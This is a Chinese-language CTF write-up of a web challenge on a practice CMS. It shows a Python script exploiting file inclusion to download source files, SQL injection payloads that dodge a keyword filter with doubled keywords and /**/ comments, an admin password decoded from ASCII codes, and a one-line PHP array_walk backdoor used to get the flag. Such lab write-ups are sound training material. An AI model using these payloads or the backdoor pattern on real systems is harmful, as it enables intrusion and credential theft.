南邮CTF综合题2
南郵CTF綜合題2----小白的第一篇
在自己加別人的WP的幫助下終于完成了這道十分有價(jià)值的CTF題目
首先我們看到題目的主體界面
其他的都沒有意義,我們首先看到的是輸入框,很自然的就想到XSS或者SQL,但是發(fā)表留言之后彈出非XSS的彈框,這就意味著這道題很大可能是SQL注入
我們先看留言搜索輸入1后
這需要修改USER-AGENT但是我們并不知道這個(gè)可以通過驗(yàn)證的USER-AGENT是什么,所以往下看
看到一個(gè)CMS說明
很明顯的提醒了,我們應(yīng)該先從這里入手
看文章內(nèi)容,他給了兩個(gè)提示
一個(gè)是文件:config.php,index.php,passencode.php,say.php
另一個(gè)是admin的表結(jié)構(gòu),這里更加確信是SQL注入了
注意到這里的URL是應(yīng)該是存在文件包含的(不然給我們文件名稱干什么),我們試一下
file=index.php
果然,文件的內(nèi)容被都取出來了
我們先把他下載下來,這里我寫了一個(gè)腳本
import requests import codecs from bs4 import BeautifulSoupurl="http://cms.nuptzj.cn/about.php?file=" file_list = ["index.php","passencode.php","say.php","config.php","antixss.php","about.php","so.php","antiinject.php","xlcteam.php"]for i in file_list:res = requests.get(url+i)print("dowload "+i)if res.status_code==200:res.encoding="utf8"with codecs.open(i,"w+","utf8") as handle:print("done")text = BeautifulSoup(res.text,"lxml").texthandle.write(text)當(dāng)然里面的文件有些是后來發(fā)現(xiàn)的,我就先放在這里
先看index.php發(fā)現(xiàn)其包含了antixss.php應(yīng)該是預(yù)防XSS攻擊的,passencode.php是將用戶輸入的密碼存儲為ASCII碼的形式 say.php是處理用戶留言的,這時(shí)就陷入了苦惱
突然發(fā)現(xiàn),我們忘記了一個(gè)文件------讀取文件的about.php,下載下來之后發(fā)現(xiàn)存在敏感目錄loginxlcteam,看名字好像是登陸的
在URL中訪問,既然是目錄就應(yīng)該有index.php吧,先試一試
成功進(jìn)入后臺登陸界面,但是。。。。各種用戶名不存在。
查看源碼存在數(shù)據(jù)庫操作的php文件還有so.php,這個(gè)就是當(dāng)時(shí)搜索的php,先下載下來
驚奇的發(fā)現(xiàn)里面包含了antiinject.php這個(gè)應(yīng)該就是防止SQL注入的文件了,下載下載
<?php function antiinject($content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); $info=strtolower($content); for($i=0;$i<=count($keyword);$i++){$info=str_replace($keyword[$i], '',$info); } return $info; } ?>文件過濾了敏感的單詞,但是雙重繞過就好了
喪心病狂的過濾了空格,可以用/**/來繞過
先看一下搜索的源碼
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");這里的$id沒有用''包裹,所以直接注入就好
先看一下回顯
soid=-1/**/UNunionION/**/SELselectECT/**/1,2,3,4發(fā)現(xiàn)共四個(gè)參數(shù),顯示的是2,3
因?yàn)橹耙呀?jīng)了解到了表的結(jié)構(gòu),所以直接注入
soid=-1/**/UNunionION/**/SELselectECT/**/1,usernam=e,userpas=s,4/**/fro=m/**/admi=n得到admin的password
102 117 99 107 114 117 110 116 117之前說過password是ASCII碼存儲的,所以解碼得到admin的密碼
fuckruntu登陸
emmmm一句話木馬,我們先把源碼下載下來
<?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>三個(gè)參數(shù)的數(shù)組回調(diào)后門
先看一下目錄下面有什么文件
雖然亂碼,但我們還是看到了最后那個(gè)flag
看看前面的是什么
直接在文件包含那里面查看
成功拿到flag
?
?
?
?
總結(jié)
- 上一篇: 小程序跳转到京东小程序 / 其他小程
- 下一篇: 2021年维修电工证(高级)考试题库 职